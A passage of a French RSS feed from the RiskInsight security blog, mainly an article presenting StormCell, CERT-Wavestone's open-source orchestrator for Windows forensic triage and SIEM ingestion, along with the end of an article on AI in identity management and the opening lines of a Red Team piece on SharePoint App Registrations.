<p style="text-align: justify;">Toutefois, cette démarche suppose aussi d’être lucide sur un point : <strong>l’IA dépend fortement des données</strong> (qualité, complétude, traçabilité, référentiels) et de la capacité à l’exploiter de manière sécurisée. Sans <strong>fondations solides</strong>, même un cas d’usage prometteur restera au stade de démonstration. Car pour produire de la valeur en conditions réelles, il doit pouvoir s&rsquo;appuyer sur des<strong> bases IAM suffisamment robustes</strong> : qualité des données, structuration des référentiels, stabilité des processus, lisibilité du modèle d&rsquo;habilitation, etc. Ainsi, la priorisation doit être confrontée à la réalité des solutions disponibles et à leur maturité.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">4.    Un marché en effervescence, des usages encore largement inégaux</h2>
<p style="text-align: justify;">Le marché IAM s&rsquo;anime fortement autour de l&rsquo;IA, avec des feuilles de route qui s&rsquo;étoffent et l&rsquo;émergence de produits dits « IA-native », conçus dès l&rsquo;origine pour intégrer des mécanismes d&rsquo;assistance, d&rsquo;analyse et d&rsquo;automatisation. Ces approches répondent généralement <strong>soit à un besoin ciblé</strong>, soit <strong>à une logique de différenciation sur un marché en forte évolution</strong>.</p>
<p style="text-align: justify;">En parallèle, les solutions IAM historiques enrichissent progressivement leurs offres avec des fonctionnalités d’IA et bénéficient généralement de moyens plus importants que les acteurs IA‑native pour soutenir cette transformation, principalement dans des environnements cloud, plus propices à leur déploiement que les architectures on‑premise.</p>
<p style="text-align: justify;">Il subsiste toutefois <strong>un décalage notable entre promesse et réalité en production</strong> : la plupart des fonctionnalités disponibles aujourd&rsquo;hui relèvent encore de l&rsquo;assistance périphérique (recherche, résumé, copilots) plutôt que d&rsquo;une IA véritablement embarquée dans les fonctions critiques.</p>
<p style="text-align: justify;">L&rsquo;adoption reste par ailleurs progressive, en particulier dans les grands comptes, <strong>où la priorité demeure l&rsquo;optimisation de l&rsquo;existant, la stabilisation des référentiels, la réduction de la dette technique et la conformité</strong>. Les approches IA-native, encore relativement nouvelles, doivent s&rsquo;intégrer à une trajectoire réaliste et à un modèle d&rsquo;exploitation clair. <strong>L&rsquo;IA ne saurait être considérée comme un produit miracle, mais bien comme un levier à inscrire dans une transformation globale de l&rsquo;IAM.</strong></p>
<p style="text-align: justify;"><strong> </strong></p>
<h2 style="text-align: justify;">5.    Conclusion – De l’effet d’annonce à une trajectoire maîtrisée</h2>
<p style="text-align: justify;">L&rsquo;IA appliquée à l&rsquo;IAM semble franchir un cap. Le véritable enjeu n&rsquo;est pas d&rsquo;accumuler les cas d’usage : il s&rsquo;agit de <strong>construire une démarche cohérente, sélective et durable</strong>. Parce qu&rsquo;elle intervient sur la décision d&rsquo;accès, l&rsquo;IA en IAM exige un niveau de prudence supérieur à d&rsquo;autres domaines. La promesse de l&rsquo;automatisation <strong>ne doit jamais masquer la responsabilité de l’humain et des organisations</strong>. Toute recommandation doit pouvoir être comprise, contestée et justifiée, notamment en contexte d&rsquo;audit. Il faut définir clairement qui valide et qui arbitre, garantir l&rsquo;acceptation des équipes métier sans laquelle l&rsquo;IA sera contournée, assurer la conformité réglementaire et cadrer rigoureusement les données exposées aux assistants pour prévenir toute exfiltration d&rsquo;informations sensibles.</p>
<p style="text-align: justify;">Pour tenir cette trajectoire, <strong>il ne suffit pas d&rsquo;évaluer les cas d&rsquo;usage isolément</strong> : il faut faire <strong>évoluer les fondations</strong> (qualité des données identitaires, référentiels, modèle de rôles, contrôles), <strong>définir un modèle opérationnel capable de superviser l&rsquo;IA</strong> au quotidien et sécuriser les usages émergents, notamment autour des agents d&rsquo;IA. L&rsquo;IA pour l’IAM ne doit donc <strong>pas être pensée comme</strong> <strong>une révolution immédiate</strong>, mais comme <strong>une progression graduelle</strong>, des briques d&rsquo;assistance vers des capacités d&rsquo;analyse avancées pour finalement arriver à des automatisations mieux maîtrisées.</p>
<p style="text-align: justify;">Au fond, bien aborder l&rsquo;IA dans l&rsquo;IAM, c&rsquo;est avancer avec pragmatisme, en ciblant les usages présentant <strong>le meilleur équilibre entre valeur et complexité</strong>, en gardant la maîtrise des décisions sensibles et en restant attentif à la maturité réelle du marché.</p>
<p> </p>
<h2 style="text-align: justify;">6.    Cinq priorités pour lancer une trajectoire IA en IAM</h2>
<p style="text-align: justify;">En résumé, voici les points à garder en tête pour s&rsquo;adapter à cette transformation :</p>
<ol>
<li style="text-align: justify;"><strong>Identifiez les cas d&rsquo;usage IA qui ont réellement du sens pour l&rsquo;IAM</strong>, qu&rsquo;il s&rsquo;agisse d&rsquo;améliorer l&rsquo;existant ou d&rsquo;ouvrir de nouvelles capacités d&rsquo;analyse et d&rsquo;automatisation.</li>
<li style="text-align: justify;"><strong>Définir objectivement la valeur et la complexité de chaque cas d’usage </strong>afin de les prioriser en vue de leur mise en œuvre.</li>
<li style="text-align: justify;"><strong>Construisez une trajectoire progressive, maîtrisée et gouvernée</strong>, plutôt qu&rsquo;accumuler des initiatives sans vision d&rsquo;ensemble.</li>
<li style="text-align: justify;"><strong>Le marché se structure rapidement</strong> : échangez avec vos éditeurs pour comprendre ce qu&rsquo;ils proposent réellement.</li>
<li style="text-align: justify;"><strong>Renseignez-vous aussi sur les nouvelles solutions émergentes</strong>, notamment IA-native, et n&rsquo;hésitez pas à nous solliciter si vous souhaitez confronter vos premiers retours de terrain ou enrichir votre vision du marché.</li>
</ol>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/06/ia-pour-liam-une-trajectoire-pragmatique-plutot-quune-revolution/">IA pour l’IAM : Une trajectoire pragmatique plutôt qu’une révolution</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2026/06/ia-pour-liam-une-trajectoire-pragmatique-plutot-quune-revolution/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>StormCell : Quand la Blue Team passe à l&#8217;échelle en réponse à incident</title>
		<link>https://www.riskinsight-wavestone.com/2026/04/stormcell-quand-la-blue-team-passe-a-lechelle-en-reponse-a-incident/</link>
					<comments>https://www.riskinsight-wavestone.com/2026/04/stormcell-quand-la-blue-team-passe-a-lechelle-en-reponse-a-incident/#respond</comments>
		
		<dc:creator><![CDATA[Clément Gonnaud]]></dc:creator>
		<pubDate>Thu, 16 Apr 2026 12:09:15 +0000</pubDate>
				<category><![CDATA[Eclairage]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[blue team]]></category>
		<category><![CDATA[CERT]]></category>
		<category><![CDATA[CERT-W]]></category>
		<category><![CDATA[CERT-Wavestone]]></category>
		<category><![CDATA[Cyber incident response]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[forensics]]></category>
		<category><![CDATA[Incident response]]></category>
		<category><![CDATA[Indicators of Compromise]]></category>
		<category><![CDATA[Investigation]]></category>
		<category><![CDATA[IoC]]></category>
		<category><![CDATA[Open Source Security]]></category>
		<category><![CDATA[SIEM]]></category>
		<category><![CDATA[StormCell]]></category>
		<category><![CDATA[Windows Forensics]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=29767</guid>

					<description><![CDATA[<p>Le CERT-Wavestone intervient sur des incidents de cybersécurité de toutes natures et de toutes ampleurs, de l&#8217;investigation d&#8217;un simple poste de travail suspect aux incidents d&#8217;envergure où un rançongiciel paralyse l&#8217;ensemble du système d&#8217;information en une nuit. Après 10 ans...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/04/stormcell-quand-la-blue-team-passe-a-lechelle-en-reponse-a-incident/">StormCell : Quand la Blue Team passe à l&rsquo;échelle en réponse à incident</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Le CERT-Wavestone intervient sur <strong>des incidents de cybersécurité de toutes natures et de toutes ampleurs</strong>, de l&rsquo;investigation d&rsquo;un simple poste de travail suspect aux incidents d&rsquo;envergure où un rançongiciel paralyse l&rsquo;ensemble du système d&rsquo;information en une nuit. <strong>Après 10 ans d&rsquo;investigations forensiques et de gestion de crise</strong> chez Wavestone, un constat s&rsquo;impose : <strong>les attaquants sont plus sophistiqués que jamais,</strong> et chaque heure compte pour les équipes de défense.</p>
<p style="text-align: justify;">Lorsque le CERT-Wavestone est engagé,<strong> trois priorités guident chaque action et chaque décision : endiguer la menace, comprendre l&rsquo;attaque et éradiquer l&rsquo;attaquant.</strong> Pour atteindre ces objectifs, établir une visibilité sur le périmètre impacté est la première étape indispensable.</p>
<p style="text-align: justify;">Dans ces contextes où vitesse et efficacité sont non négociables, <strong>le CERT-Wavestone s&rsquo;appuie sur de nombreux outils : solutions de cybersécurité</strong> (EDR, SIEM, etc.), <strong>collecteurs et parseurs</strong> open-source, et <strong>ses propres outils développés en interne</strong>.</p>
<p style="text-align: justify;">Parmi ceux-ci, <strong>StormCell</strong> se distingue comme un outil open-source développé par le CERT-Wavestone pour automatiser le traitement des collectes forensiques Windows et <strong>libérer le temps des analystes afin qu&rsquo;ils se concentrent sur ce qui compte vraiment : l&rsquo;investigation elle-même.</strong></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Endiguer. Comprendre. Éradiquer. Chaque heure compte.</h2>
<h3 style="text-align: justify;">Des attaquants de plus en plus efficaces</h3>
<p style="text-align: justify;">Plusieurs acteurs de la réponse à incident s&rsquo;accordent à dire que<strong> certains types de cyberattaques, comme les rançongiciels et les attaques par exfiltration de données, sont de plus en plus rapides.</strong> Les données publiées par Zero Day Clock (<span style="color: #451dc7;"><a style="color: #451dc7;" href="https://zerodayclock.com">https://zerodayclock.com</a></span>) illustrent cette tendance :</p>
<ul>
<li>Une <strong>part croissante des vulnérabilités <em>zero day</em> est activement exploitée chaque année,</strong> passant de 16 % en 2018 à 71 % en 2026,</li>
<li style="text-align: justify;">Un <strong>délai d&rsquo;exploitation</strong> (Time to Exploit) <strong>en constante diminution est noté,</strong> tombant de plusieurs années en 2018 à moins d&rsquo;une journée en 2026.</li>
</ul>
<p style="text-align: justify;">C’est également un <strong>constat partagé par l’équipe de réponse à incident de Wavestone</strong> (CERT-Wavestone) dans son dernier rapport annuel (voir : <span style="color: #451dc7;"><a style="color: #451dc7;" href="https://www.wavestone.com/fr/insight/rapport-cert-wavestone-2025/">rapport annuel du CERT-Wavestone</a></span>) basé sur <strong>une vingtaine d’incidents majeurs</strong> rencontrés par des clients de Wavestone au cours de l’année 2025 :</p>
<p style="text-align: justify;"> </p>
<figure id="attachment_29769" aria-describedby="caption-attachment-29769" style="width: 1740px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-29769" style="border: 1px solid #000000;" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/1-Ransomware-une-attaque-de-bout-en-bout-en-15-jours.png" alt="Ransomware - une attaque de bout en bout en 1,5 jours" width="1740" height="975" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/1-Ransomware-une-attaque-de-bout-en-bout-en-15-jours.png 1740w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/1-Ransomware-une-attaque-de-bout-en-bout-en-15-jours-341x191.png 341w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/1-Ransomware-une-attaque-de-bout-en-bout-en-15-jours-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/1-Ransomware-une-attaque-de-bout-en-bout-en-15-jours-768x430.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/1-Ransomware-une-attaque-de-bout-en-bout-en-15-jours-1536x861.png 1536w" sizes="auto, (max-width: 1740px) 100vw, 1740px" /><figcaption id="caption-attachment-29769" class="wp-caption-text"><em>Ransomware &#8211; une attaque de bout en bout en 1,5 jours</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Dès lors, afin d’endiguer et de remédier aux incidents au plus tôt, notre équipe de réponse à incident se doit d’être <strong>la plus efficace possible dans ses analyses et prises de décision</strong>. Cela nécessite notamment une<strong> compréhension rapide du contexte et de l’incident</strong>.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">L&rsquo;anatomie d&rsquo;une investigation du CERT-Wavestone</h3>
<p style="text-align: justify;">Chaque investigation CERT-Wavestone débute généralement sur un périmètre restreint avant de s&rsquo;étendre rapidement à des dizaines de systèmes au fil de l&rsquo;évolution de la situation :</p>
<ul style="text-align: justify;">
<li><strong>Étape 1 — Analyse initiale : </strong>Une fois le <strong>périmètre sécurisé et les premières mesures de confinement en place</strong>, le CERT-Wavestone évalue la situation sur un périmètre initial de machines suspectes ou compromises. Si le client dispose d&rsquo;un SOC ou d&rsquo;un CERT, la<strong> télémétrie et les outils de détection existants constituent un point de départ immédiat</strong>. Dans le cas contraire, CERT-Wavestone s&rsquo;appuie sur les<strong> ressources disponibles pour réaliser des premières collectes forensiques</strong> et établir un <strong>premier état des lieux de l&rsquo;attaque</strong>.</li>
<li><strong>Étape 2 — Investigation élargie :</strong> A mesure que la killchain se précise, <strong>l&rsquo;investigation s&rsquo;étend à des dizaines de machines compromises</strong>. Lorsque l&rsquo;infrastructure du client ne permet pas de supporter des acquisitions à grande échelle, le CERT-Wavestone <strong>déploie son propre outil de collecte forensique</strong> pour recueillir les données de triage efficacement.</li>
<li><strong>Étape 3 — Recherche d&rsquo;IoC sur l&rsquo;ensemble du SI :</strong> Les indicateurs de compromission sont établis et la <strong>recherche s&rsquo;étend à l&rsquo;ensemble du système d&rsquo;information</strong>. Si ce n&rsquo;est pas déjà le cas, un <strong>EDR ou des outils alternatifs peuvent être déployés par le CERT-Wavestone</strong>. Les recherches d&rsquo;IoC à grande échelle s&rsquo;appuient sur les capacités natives de l&rsquo;EDR, du SIEM ou des plateformes de collecte de logs.</li>
</ul>
<p style="text-align: justify;">Que ce soit durant l’étape 1 ou l’étape 2, <strong>chaque collecte nécessite le même pipeline standardisé : récupération, parsing, ingestion, identification</strong> des indicateurs de compromission (IoC) et <strong>corrélation</strong> entre les collectes. En conséquence, le traitement forensique manuel mobilise <strong>un temps et des ressources précieux</strong>, contraignant les analystes à gérer des opérations de traitement de données routinières plutôt que de se concentrer sur l&rsquo;investigation.</p>
<p style="text-align: justify;">Traiter chaque collecte individuellement et manuellement est <strong>un travail lent, source d&rsquo;erreurs et d&rsquo;incohérences, et s&rsquo;adapte mal au nombre de machines</strong> à investiguer comme au nombre d&rsquo;analystes mobilisés sur l&rsquo;incident.</p>
<p style="text-align: justify;"><strong>C&rsquo;est précisément ce problème que StormCell, outil développé par le CERT-W, a été conçu pour résoudre.</strong></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">StormCell : C’est quoi ?</h2>
<p style="text-align: justify;">StormCell est un outil développé par le CERT-Wavestone pour<strong> répondre à un besoin de longue date</strong> : un orchestrateur d&rsquo;analyse forensique Windows qui <strong>s&rsquo;adapte à de multiples contextes d&rsquo;investigation, automatise le traitement de bout en bout</strong> des données de triage, de <strong>l&rsquo;extraction des artefacts</strong> jusqu&rsquo;à leur <strong>ingestion centralisée</strong> dans une plateforme SIEM, et <strong>libère les analystes pour qu&rsquo;ils se concentrent sur l&rsquo;investigation</strong>, et non sur le pipeline.</p>
<p style="text-align: justify;">Développé en python afin de le rendre facile d’utilisation, <strong>l’outil a récemment été publié sur GitHub</strong> afin d’être accessible en source ouverte par l’ensemble de la communauté de réponse à incidents : <span style="color: #451dc7;"><strong><a style="color: #451dc7;" href="https://github.com/CERT-W/StormCell">https://github.com/CERT-W/StormCell</a></strong></span>. <strong>Le CERT-Wavestone souhaite que cet outil puisse être utilisé, confronté et amélioré directement par la communauté.</strong></p>
<p style="text-align: justify;">Bien que d’autres outils similaires aient été développés et publiés depuis le début de son développement, <strong>StormCell se démarque par sa modularité ainsi que ses choix technologiques, pensés pour garantir à la fois rapidité d’exécution et grande adaptabilité.</strong></p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Les trois étapes clés : ingestion, traitement et centralisation</h3>
<p style="text-align: justify;">Le fonctionnement de StormCell repose sur <strong>trois étapes clés :</strong></p>
<figure id="attachment_29806" aria-describedby="caption-attachment-29806" style="width: 1811px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-29806" style="border: 1px solid #000000;" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/2-Les-trois-etapes-cles-ingestion-traitement-et-centralisation-1.png" alt="Les trois étapes clés - ingestion, traitement et centralisation" width="1811" height="804" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/2-Les-trois-etapes-cles-ingestion-traitement-et-centralisation-1.png 1811w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/2-Les-trois-etapes-cles-ingestion-traitement-et-centralisation-1-430x191.png 430w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/2-Les-trois-etapes-cles-ingestion-traitement-et-centralisation-1-71x32.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/2-Les-trois-etapes-cles-ingestion-traitement-et-centralisation-1-768x341.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/2-Les-trois-etapes-cles-ingestion-traitement-et-centralisation-1-1536x682.png 1536w" sizes="auto, (max-width: 1811px) 100vw, 1811px" /><figcaption id="caption-attachment-29806" class="wp-caption-text">Les trois étapes clés &#8211; ingestion, traitement et centralisation</figcaption></figure>
<p> </p>
<p>Afin de les mener à bien,<strong> StormCell repose sur un ensemble d’outils tiers :</strong> que ce soit pour la collecte et le traitement des artéfacts avec <a href="https://www.kroll.com/en/services/cyber/incident-response-recovery/kroll-artifact-parser-and-extractor-kape"><span style="color: #451dc7;">Kape</span></a>, l’enrichissement et l’envoi des journaux dans un SIEM avec <a href="https://vector.dev/"><span style="color: #451dc7;">Vector</span></a> ou bien les fonctionnalités de recherche d’un SIEM avec <span style="color: #451dc7;"><a style="color: #451dc7;" href="https://www.splunk.com/">Splunk</a></span> ou <span style="color: #451dc7;"><a style="color: #451dc7;" href="https://www.elastic.co/fr/elastic-stack">ELK</a></span>.</p>
<p style="text-align: justify;">Malgré ces dépendances, <strong>l’outil n’a besoin d’être installé et configuré qu’une seule fois</strong> sur un unique poste d’investigation <strong>avant d’être utilisé tout au long de la réponse à incident par l’ensemble des analystes.</strong></p>
<p> </p>
<h3 style="text-align: justify;">Extraction et ingestion de données</h3>
<p style="text-align: justify;">StormCell est développé afin de <strong>fonctionner avec deux types de collectes :</strong> les copies de disque et les extractions ZIP d’artéfact réalisées avec Kape.</p>
<p style="text-align: justify;">Lorsque StormCell est exécuté sur une copie de disque, il va directement <strong>utiliser Kape afin d’en extraire les artéfacts pertinents.</strong></p>
<p style="text-align: justify;">Des archives ZIP compatibles peuvent quant à elles également être générées avec l’outil du CERT-Wavestone <a href="https://github.com/CERT-W/CollectRaptor"><span style="color: #451dc7;">CollectRaptor</span></a>, reposant sur Velociraptor, ou toute autre collecte réalisée avec le module KapeTarget de Velociraptor.</p>
<p> </p>
<h3 style="text-align: justify;">Traitement et enrichissement des artéfacts</h3>
<p style="text-align: justify;">Une fois les artéfacts bruts à disposition, le cœur de la chaîne de traitement entre en jeu : <strong>les artefacts sont traités avec Kape.</strong></p>
<p style="text-align: justify;">Kape est utilisé car c’est un <strong>outil dédié au traitement d’artéfacts Windows</strong>. Il permet, au moyen de modules, d’exécuter automatiquement de multiples outils tels que la suite de <a href="https://ericzimmerman.github.io/#!index.md"><span style="color: #451dc7;">Zimmermann</span></a>, <span style="color: #451dc7;"><a style="color: #451dc7;" href="https://github.com/Yamato-Security/hayabusa">Hayabusa</a></span> ou bien encore <a href="https://github.com/WithSecureLabs/chainsaw"><span style="color: #451dc7;">Chainsaw</span></a>. De plus, les journaux traités par Kape sont directement organisés par catégorie d’artéfact (exécutions, système de fichier, registres, etc.), permettant une analyse locale manuelle efficace en cas de besoin.</p>
<p style="text-align: justify;">Au total, StormCell <strong>utilise Kape pour exécuter plus d’une trentaine d’outils de traitements des artéfacts</strong>, chacun couvrant un spectre d&rsquo;analyse complémentaire, <strong>assurant une exhaustivité des éléments à disposition des analystes.</strong></p>
<p style="text-align: justify;">L’ensemble de ces outils <strong>peut facilement être téléchargé avec à la commande d’installation de StormCell</strong>, décrite dans son Readme. La <strong>configuration modulaire</strong> de StormCell permet par ailleurs de <strong>facilement intégrer de nouveaux outils de traitement des journaux</strong>.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Centralisation dans un SIEM</h3>
<p style="text-align: justify;">Une fois que les artéfacts ont été traités par Kape, les journaux générés sont <strong>normalisés, enrichis et envoyés vers une plateforme SIEM</strong> par Vector, un outil open source notamment <strong>adapté à l’envoi d’une volumétrie importante de données.</strong></p>
<p style="text-align: justify;">Afin d’identifier quels artéfacts envoyer, ainsi que les normalisations et enrichissements à appliquer, <strong>Vector repose sur ses fichiers de configuration TOML qui intègrent des parsers qui structurent les données brutes en champs exploitables et des sinks (destinations de sortie) qui acheminent les événements vers l’environnement ciblé</strong>,  instance ELK ou Splunk de nos clients, ou sur une instance ELK interne dédiée du CERT-Wavestone.</p>
<p style="text-align: justify;">Pour récupérer ces configurations, <strong>StormCell utilise les configurations du répertoire Github <span style="color: #451dc7;"><a style="color: #451dc7;" href="https://github.com/Qazeer/Vector4IR">Vector4IR</a> </span></strong>dont le CERT-Wavestone est contributeur.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Un gain de temps majeur pour les analystes</h3>
<p style="text-align: justify;">Par l’enchaînement de ces trois étapes, <strong>chaque collecte forensique n’a besoin d’être traitée qu’une unique fois avant d’être rendue accessible dans un SIEM à l’ensemble des analystes</strong>. Ainsi, il est possible de réaliser des investigations globales en exploitant au maximum les fonctionnalités inhérentes aux technologies SIEM : langages de recherches, tableaux de bord et requêtes enregistrées, lookups et tableaux de données, fonctionnalités de corrélation, etc.</p>
<p style="text-align: justify;">La récupération des collectes et<strong> l’exécution dans StormCell peut être portée par un unique analyste pendant que les autres peuvent déjà investiguer en temps réel</strong> au fur et à mesure de l’arrivée des journaux.</p>
<p> </p>
<h2 style="text-align: justify;">Les modes d’exécution de StormCell</h2>
<p style="text-align: justify;">Conformément aux détails sur l’installation et la configuration de StormCell à disposition dans le Readme du <span style="color: #451dc7;"><a style="color: #451dc7;" href="https://github.com/CERT-W/StormCell">répertoire Github</a></span>, <strong>une commande setup peut être utilisée afin de télécharger l’ensemble des outils nécessaires</strong> au fonctionnement intégral de StormCell. Par ailleurs, <strong>de nombreuses options,</strong> détaillées dans le fichier de configuration par défaut ainsi que la commande d’aide <strong>sont disponibles afin de convenir aux différents besoins d’exécution</strong>.</p>
<p style="text-align: justify;">Il est par exemple possible de <strong>préciser quels modules Kape exécute ou bien de forcer un nouveau traitement et envoi des journaux</strong>. StormCell utilisant <strong>un fichier de base de données locale pour assurer une persistance entre plusieurs exécutions successives</strong>, il est possible d’entièrement réinitialiser son comportement en supprimant cette base.</p>
<p style="text-align: justify;">Enfin, StormCell propose <strong>trois modes d’exécution complémentaires</strong>, pensés pour s’adapter à chaque contexte d’investigation, du périmètre restreint à la crise de grande ampleur, et permettre aux analystes d’être opérationnels le plus rapidement possible, quel que soient le type de ressources à leurs dispositions.</p>
<p> </p>
<h3 style="text-align: justify;">Mode Once : Petits périmètres et besoin d’investigation rapide</h3>
<p style="text-align: justify;"><strong>Conçu spécifiquement pour des investigations ciblées</strong>, au périmètre plus restreint, ce mode permet de <strong>traiter en une seule exécution</strong> un ensemble de <strong>collectes</strong> d’ores et <strong>déjà disponibles</strong>.</p>
<p style="text-align: justify;">Après configuration spécifique par les analystes, l’outil s’exécute et permet <strong>l’analyse des collectes sans étape supplémentaire.</strong></p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Mode Mountpoint : collecte locale et analyse, en une seule commande</h3>
<p style="text-align: justify;">Mountpoint constitue le mode d’exécution de bout en bout de StormCell : Il va de la <strong>collecte des artefacts sur un disque ou copie forensique monté localement</strong> à l’envoi dans le SIEM.</p>
<p style="text-align: justify;">Ce mode est privilégié lors de l’analyse de disques complets mis à disposition pour l’investigation pour des raisons opérationnelles, et inclus nativement l’extraction d’artefacts grâce <strong>aux fonctionnalités intégrées de Kape.</strong></p>
<p style="text-align: justify;">Une fois l’extraction réalisée, son fonctionnement est similaire au mode <strong>Once</strong>.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Mode Loop : Traitement en continu pour les investigations de grande ampleur</h3>
<p style="text-align: justify;">Privilégié par le CERT-Wavestone, ce mode de fonctionnement est pensé pour les <strong>crises de plus grande ampleur</strong> et a pour but de permettre l’exécution de StormCell en continu, tout au long de l’incident. Après configuration, l’outil surveille un dossier et traite toutes les collectes déposées par les analystes.</p>
<p style="text-align: justify;">Ce point de dépôt centralisé devient <strong>le cœur logistique de l&rsquo;investigation</strong> : une fois en place, les analystes n&rsquo;ont plus à se soucier du traitement des collectes, que l&rsquo;incident dure quelques jours ou plusieurs semaines, et peuvent ensuite accéder aux données traitées dans la solution SIEM utilisée.</p>
<p style="text-align: justify;">Enfin, <strong>deux niveaux de traitement des artefacts</strong> sont configurables pour répondre au mieux au besoin des analystes lorsque les investigations sont menées sur <strong>de nouvelles machines :</strong></p>
<ul style="text-align: justify;">
<li><strong>Short :</strong> un <strong>traitement allégé</strong> privilégiant la rapidité, adapté aux analyses de surface pour qualifier rapidement une machine et prioriser les investigations.</li>
<li><strong>Long :</strong> un <strong>traitement exhaustif</strong> activant des modules d&rsquo;analyse en profondeur, conçu pour les investigations approfondies nécessitant une vision complète de l&rsquo;activité de la machine.</li>
</ul>
<p style="text-align: justify;"><strong>Les modules à exécuter sur chacun de ces modes est librement configurable</strong> par les analystes utilisant StormCell. Ces deux modes de fonctionnement complémentaires permettent notamment de déposer dans un premier temps <strong>les archives dans le dossier Short pour obtenir une liste rapide mais non exhaustive d’artéfacts,</strong> puis dans un second temps <strong>les déposer dans le dossier Long pour obtenir une liste exhaustive d’artéfacts.</strong></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">StormCell : Quoi de plus ?</h2>
<p style="text-align: justify;">StormCell est aujourd&rsquo;hui un outil clé fréquemment utilisé au sein du CERT-Wavestone afin d’accélérer le traitement des artefacts Windows lors de ses investigations.</p>
<p style="text-align: justify;">Il est prévu <strong>d&rsquo;étendre les capacités d’orchestration de l’outil aux investigations sur des environnements Cloud (notamment M365), Linux et macOS,</strong> tout en étudiant l’apparition de nouvelles sources forensics et des technologies avancées comme l’utilisation de l’IA.</p>
<p style="text-align: justify;">C’est pourquoi le CERT-Wavestone vous invite à contribuer à son évolution : fork, pull requests et retours d&rsquo;expérience sont les bienvenus pour faire de StormCell un outil le plus adapté possible aux besoins de réponse à incidents.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/04/stormcell-quand-la-blue-team-passe-a-lechelle-en-reponse-a-incident/">StormCell : Quand la Blue Team passe à l&rsquo;échelle en réponse à incident</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2026/04/stormcell-quand-la-blue-team-passe-a-lechelle-en-reponse-a-incident/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>SharePoint &#038; App Registrations : Vecteur de compromission du SI et RETEX Red Team</title>
		<link>https://www.riskinsight-wavestone.com/2025/10/sharepoint-app-registrations-vecteur-de-compromission-du-si-et-retex-red-team/</link>
					<comments>https://www.riskinsight-wavestone.com/2025/10/sharepoint-app-registrations-vecteur-de-compromission-du-si-et-retex-red-team/#respond</comments>
		
		<dc:creator><![CDATA[Nathan HAMARD]]></dc:creator>
		<pubDate>Wed, 15 Oct 2025 08:15:00 +0000</pubDate>
				<category><![CDATA[Eclairage]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[App Registrations]]></category>
		<category><![CDATA[compromission]]></category>
		<category><![CDATA[Cybersécurité]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[Detection]]></category>
		<category><![CDATA[Elevation des privileges]]></category>
		<category><![CDATA[EntraID]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[protection]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[RETEX]]></category>
		<category><![CDATA[RETEX Red Team]]></category>
		<category><![CDATA[Sharepoint]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=27926</guid>

					<description><![CDATA[<p>Alors que les environnements Active Directory on-premise se renforcent face aux menaces (modèle en tiers, segmentation réseau, bastions d&#8217;administration, durcissement des contrôleurs de domaine), une nouvelle composante est aujourd’hui exploitée par les attaquants pour compromettre leurs cibles&#160;: les ressources cloud,...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/10/sharepoint-app-registrations-vecteur-de-compromission-du-si-et-retex-red-team/">SharePoint &amp; App Registrations : Vecteur de compromission du SI et RETEX Red Team</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Alors que les environnements Active Directory on-premise se renforcent face aux menaces (modèle en tiers, segmentation réseau, bastions d&rsquo;administration, durcissement des contrôleurs de domaine), une nouvelle composante est aujourd’hui exploitée par les attaquants pour compromettre leurs cibles&nbsp;: les ressources cloud, et notamment les <em>App Registrations</em> associées aux services Microsoft 365.</p>
